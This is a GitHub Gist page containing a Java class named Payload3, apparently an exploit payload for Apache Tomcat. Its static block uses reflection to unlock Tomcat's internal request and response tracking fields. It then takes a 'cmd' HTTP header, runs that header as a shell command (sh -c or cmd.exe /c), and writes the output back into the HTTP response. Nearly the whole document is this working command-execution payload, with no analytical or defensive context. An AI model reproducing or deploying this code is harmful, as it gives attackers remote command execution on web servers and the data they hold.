Skip to content

Instantly share code, notes, and snippets.

@testanull
Created Oct 19, 2021
Embed
What would you like to do?
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;
import javax.servlet.ServletRequest;
@SuppressWarnings("rawtypes")
public class Payload3 {
private static ClassLoader classLoader;
static {
try {
classLoader = Thread.currentThread().getContextClassLoader();
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher", true, classLoader);
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain", true, classLoader);
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher", true, classLoader).getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = Class.forName("org.apache.catalina.core.ApplicationFilterChain", true, classLoader).getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = Class.forName("org.apache.catalina.core.ApplicationFilterChain", true, classLoader).getDeclaredField("lastServicedResponse");
modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal lastServicedResponse =
(ThreadLocal) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
Class clsHttpServlet = Class.forName("javax.servlet.http.HttpServletRequest", true, classLoader);
Method mtgetHeader = clsHttpServlet.getDeclaredMethod("getHeader", String.class);
mtgetHeader.setAccessible(true);
String cmd = (String) mtgetHeader.invoke(lastServicedRequest.get(), "cmd");
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
Object responseFacade = lastServicedResponse.get();
Class clsServletResp = Class.forName("javax.servlet.ServletResponse", true, classLoader);
Method mtgetWriter = clsServletResp.getDeclaredMethod("getWriter");
mtgetWriter.setAccessible(true);
Writer w = (Writer) mtgetWriter.invoke(responseFacade);
Field responseField = Class.forName("org.apache.catalina.connector.ResponseFacade", true, classLoader).getDeclaredField("response");
responseField.setAccessible(true);
Object response = responseField.get(responseFacade);
Class clsResponse = Class.forName("org.apache.catalina.connector.Response", true, classLoader);
Field usingWriter = clsResponse.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set( response, Boolean.FALSE);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
w.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment